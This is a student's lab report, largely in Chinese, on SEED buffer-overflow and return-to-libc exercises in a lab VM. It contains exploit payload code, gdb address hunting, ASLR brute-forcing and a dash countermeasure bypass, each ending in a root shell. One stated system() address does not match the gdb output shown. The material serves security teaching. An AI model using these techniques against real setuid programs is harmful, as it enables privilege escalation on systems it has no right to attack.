Lab2-Report

57117136 孙伟杰

Part 1: Buffer Overflow Vulnerability Lab

Task 1: Running Shellcode

实验内容：

运行一段 shellcode 以及具有缓冲区溢出漏洞的程序，观察运行结果。

实验结果：

```
[09/04/20]seed@VM:~$ gedit shellcode1.c
[09/04/20]seed@VM:~$ gcc shellcode1.c -o shellcode
shellcode1.c: In function ‘main’:
shellcode1.c:7:1: warning: implicit declaration of function
-function-declaration]
 execve(name[0], name, NULL);
 ^
[09/04/20]seed@VM:~$ gcc shellcode1.c -o shellcode1
shellcode1.c: In function ‘main’:
shellcode1.c:7:1: warning: implicit declaration of function
-function-declaration]
 execve(name[0], name, NULL);
 ^
[09/04/20]seed@VM:~$ ./shellcode1
$ id
uid=1000(seed) gid=1000(seed) groups=1000(seed),4(adm),24(c
),46(plugdev),113(lpadmin),128(sambashare)
$ exit
[09/04/20]seed@VM:~$
```

编译所给 shellcode1 代码，成功进入一个新的 shell

```
[09/04/20]seed@VM:~$ gedit call_shellcode.c
[09/04/20]seed@VM:~$ gcc -fno-stack-protector -z execstack -o call_shellcode cal
shellcode.c
[09/04/20]seed@VM:~$ ./call_shellcode
$ id
uid=1000(seed) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(di
46(plugdev),113(lpadmin),128(sambashare)
```

执行所给 call_shellcode 代码，成功进入一个 shell

```
[09/04/20]seed@VM:~$ gedit stack.c
[09/04/20]seed@VM:~$ gcc -o stack -z execstack -fno-stack-protector stack.c
[09/04/20]seed@VM:~$ sudo chown root stack
[09/04/20]seed@VM:~$ sudo chmod 4755 stack
[09/04/20]seed@VM:~$ gedit exploit.c
[09/04/20]seed@VM:~$
```

成功生成 stack 文件

Task 2: Exploiting the Vulnerability

实验内容：构造 badfile 的内容，利用缓冲区溢出漏洞成功执行 shellcode

实验结果：填充代码如下

```
/* You need to fill the buffer with appropriate contents here */
buffer[36]=0xa4;
buffer[37]=0xea;
buffer[38]=0xff;
buffer[39]=0xbf;
for(int i=0;i<sizeof(shellcode);i++)
{
buffer[44+i]=shellcode[i];
}
```

先对 stack.c 进行编译，BUF_SIZE 值为 24，再使用 GDB 调试，找到 buffer 地址以及$ebp 寄存器的值。在 bof 入口设置断点，再通过 run 命令运行。$ebp 的值指向前一个栈帧的地址，计算出 buffer 的起始位置与 ebp 之间的差值为 32：因为是小端情况，需要倒序填写地址，由于 gdb 中地址与实际运行地址并不相同，利用段错误生成 core 文档进行处理，得出 shellcode 的正确地址 0xbfffeaa4

```
gdb-peda$ b bof
Breakpoint 1 at 0x80484f1: file stack.c, line 17.
gdb-peda$ run
Starting program: /home/seed/stack
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".
```

```
gdb-peda$ display $ebp
1: $ebp = (void *) 0x90909090
gdb-peda$ display $esp
2: $esp = (void *) 0xbfffeaa0
gdb-peda$ x/10xw 0xbfffeaa0
0xbfffeaa0:     0x90909090      0x6850c031      0x68732f2f      0x69622f68
0xbfffeab0:     0x50e3896e      0x99e18953      0x80cd0bb0      0x00f76200
0xbfffeac0:     0x00000000      0x00000000
```

```
seed@VM:~$ gcc exploit.c -o exploit
seed@VM:~$ ./exploit
seed@VM:~$ ./stack
Segmentation fault (core dumped)
seed@VM:~$ gdb ./stack core
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.04) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
```

```
seed@VM:~$  sudo ln -sf /bin/zsh /bin/sh
seed@VM:~$ sudo chown root stack
seed@VM:~$ sudo chmod 4755 stack
seed@VM:~$ ./stack
Segmentation fault
seed@VM:~$ ./stack
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27
(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
```

Task 3: Defeating dash’s Countermeasure

实验内容：绕过 dash shell 的防御机制

实验结果：

```
seed@VM:~$ vim dash_shell_test.c
seed@VM:~$ gcc dash_shell_test.c -o dash_shell_test
seed@VM:~$ sudo chown root dash_shell_test
seed@VM:~$ sudo chmod 4755 dash_shell_test
seed@VM:~$ ./dash_shell_test
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),
(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
# exit
```

尚未设置 UID 导致获取 shell 后未能获取 root 权限

```
seed@VM:~$ vim dash_shell_test.c
seed@VM:~$ gcc dash_shell_test.c -o dash_shell_test
seed@VM:~$ sudo chown root dash_shell_test
seed@VM:~$ sudo chmod 4755 dash_shell_test
seed@VM:~$ ./dash_shell_test
# id
uid=0(root) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),4
6(plugdev),113(lpadmin),128(sambashare)
```

设置 UID 后 Shellcode 可直接获取 root 权限

```
seed@VM:~$ sudo ln -sf /bin/dash /bin/sh
seed@VM:~$ ./dash_shell_test
# id
uid=0(root) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),
6(plugdev),113(lpadmin),128(sambashare)
```

Task 4：Defeating Address Randomization

实验内容：通过穷举攻击对抗地址随机化

实验结果：

```
5 minutes and 18 seconds elapsed.
The program has been running 116178 times so far.
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27
(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
#
```

穷举 5min 后，可以成功破解获取权限

Task 5: Turn on the Stack Guard Protection

实验内容：观察栈保护机制的效果。

实验结果：

```
seed@VM:~$ sudo /sbin/sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
seed@VM:~$ gcc -o stack -z execstack stack.c
seed@VM:~$ sudo chown root stack
seed@VM:~$ sudo chmod 4755 stack
seed@VM:~$ ./stack
*** stack smashing detected ***: ./stack terminated
Aborted
```

打开栈保护机制，再次编译，可以看到检测到栈异常，被终止

Task 6: Turn on the Non-executable Stack Protection

实验内容：观察栈不可执行机制的实验效果

实验结果：重新编译 stack.c 发现发生段错误，证明保护机制生效

```
seed@VM:~$ gcc -o stack -fno-stack-protector -z noexecstack stack.c
seed@VM:~$ sudo chown root stack
seed@VM:~$ sudo chmod 4755 stack
seed@VM:~$ ./stack
Segmentation fault
```

Part 2:Return-to-libc Attack Lab

Task 1:Finding out the addresses of libc function

实验内容：通过 gdb 找到 libc 库中 system 和 exit 函数地址

```
Legend: code, data, rodata, value

Breakpoint 1, 0x08048541 in bof ()
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xb7da4da0 <__libc_system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xb7d989d0 <__GI_exit>
gdb-peda$
```

System 函数的地址位于 0xb7e42da0,exit 函数的地址位于 0xb7e369d0

Task 2: Putting the shell string in the memory

实验内容：将字符串/bin/sh 放入内存，并且寻找到它的地址

实验结果：

```
gdb-peda$ x/ls 0xbffffdda
0xbffffdda:     "ELL=/bin/sh"
gdb-peda$ x/ls 0xbffffddc
0xbffffddc:     "L=/bin/sh"
gdb-peda$ x/ls 0xbffffddd
0xbffffddd:     "=/bin/sh"
gdb-peda$ x/ls 0xbffffdde
0xbffffdde:     "/bin/sh"
```

```
   0x08048504 <+25>:    add    esp,0x10
   0x08048507 <+28>:    mov    eax,0x1
   0x0804850c <+33>:    leave
   0x0804850d <+34>:    ret
End of assembler dump.
gdb-peda$ quit
seed@VM:~$ ./retlib
zsh:1: command not found: arting
seed@VM:~$ ./retlib
seed@VM:~$ ./retlib
seed@VM:~$ ./retlib
seed@VM:~$ ./retlib
zsh:1: command not found: arting
seed@VM:~$ ./retlib
zsh:1: command not found: arted
seed@VM:~$ ./retlib
zsh:1: no such file or directory: in/sh
seed@VM:~$ ./retlib
zsh:1: no such file or directory: in/sh
seed@VM:~$ ./retlib
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27
(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
#
```

```
examples.desktop  exploit          exploit.c
[09/05/20]seed@VM:~$ vim ./ex
examples.desktop  exploit          exploit.c
[09/05/20]seed@VM:~$ vim ./exploit.c
[09/05/20]seed@VM:~$ gcc -o exploit exploit.c && ./exploit
[09/05/20]seed@VM:~$ vim ./exploit.c
[09/05/20]seed@VM:~$ gcc -o exploit exploit.c && ./exploit
[09/05/20]seed@VM:~$ vim ./exploit.c
[09/05/20]seed@VM:~$ gcc -o exploit exploit.c && ./exploit
[09/05/20]seed@VM:~$ vim ./exploit.c
[09/05/20]seed@VM:~$ gcc -o exploit exploit.c && ./exploit
[09/05/20]seed@VM:~$ vim ./exploit.c
[09/05/20]seed@VM:~$ gcc -o exploit exploit.c && ./exploit
[09/05/20]seed@VM:~$ vim ./exploit.c
[09/05/20]seed@VM:~$ gcc -o exploit exploit.c && ./exploit
[09/05/20]seed@VM:~$ gcc -o exploit exploit.c && ./exploit
[09/05/20]seed@VM:~$ vim ./exploit.c
[09/05/20]seed@VM:~$ gcc -o exploit exploit.c && ./exploit
[09/05/20]seed@VM:~$ vim ./exploit.c
[09/05/20]seed@VM:~$ gcc -o exploit exploit.c && ./exploit
[09/05/20]seed@VM:~$ vim ./exploit.c
[09/05/20]seed@VM:~$ gcc -o exploit exploit.c && ./exploit
[09/05/20]seed@VM:~$ vim ./exploit.c
[09/05/20]seed@VM:~$
```

创建环境变量 MYSHELL，取值为/bin/sh,反复穷举逼近目标地址

Task 3: Exploiting the buffer-over flow vulnerability

实验内容：结合 Task 1 和 Task 2，进行缓冲区溢出攻击

实验结果：

```
int X=32;
int Y=24;
int Z=28;
*(long *) &buf[X] = 0xbffffddc ; // "/bin/sh"
*(long *) &buf[Y] = 0xb7e42da0 ; // system()
*(long *) &buf[Z] = 0xb7e369d0 ; // exit()
fwrite(buf, sizeof(buf), 1, badfile);
fclose(badfile);
```

```
seed@VM:~$ ./retlib
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),
(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
```

buffer 在距离 ebp 20 个字节的位置，返回地址在距离 buffer 24 个字节的位置，exit 地址在距离 buffer 28 个字节的位置，环境变量地址写在距离 buffer 32 个字节的位置

```
seed@VM:~$ ./retlib
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27
(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
```

成功获取 root 权限

```
int X=32;
int Y=24;
int Z=28;
*(long *) &buf[X] = 0xbffffddc ; // "/bin/sh"
*(long *) &buf[Y] = 0xb7e42da0 ; // system()
*(long *) &buf[Z] = 0x90909090 ; // exit()
fwrite(buf, sizeof(buf), 1, badfile);
fclose(badfile);
```

改变 exit 的地址，还能提权但是会发生段错误

改变 system 的地址，不能正常提权，会发生参数错误，引发段错误

Task 4: Turning on address randomization

实验内容：

开启地址随机化，再次运行 retlib，观察运行结果

实验结果：

```
seed@VM:~$ sudo /sbin/sysctl -w kernel.randomize_va_space=2
kernel.randomize_va_space = 2
seed@VM:~$ ./retlib
Segmentation fault
seed@VM:~$
```

产发生了段错误，地址随机化导致原先寻找到的 system 地址无效化了，其他寻找到的地址也是无效的。

Task 5: Defeat Shell’s countermeasure

实验内容：

通过 setuid(0)绕过 dash shell 的保护机制

实验结果：通过获取 setuid 在内存中的地址，在使用 dash 时，使用 setuid(0)可使自己的身份变为 root，并且不会因为 ruid 和 euid 不同而被降权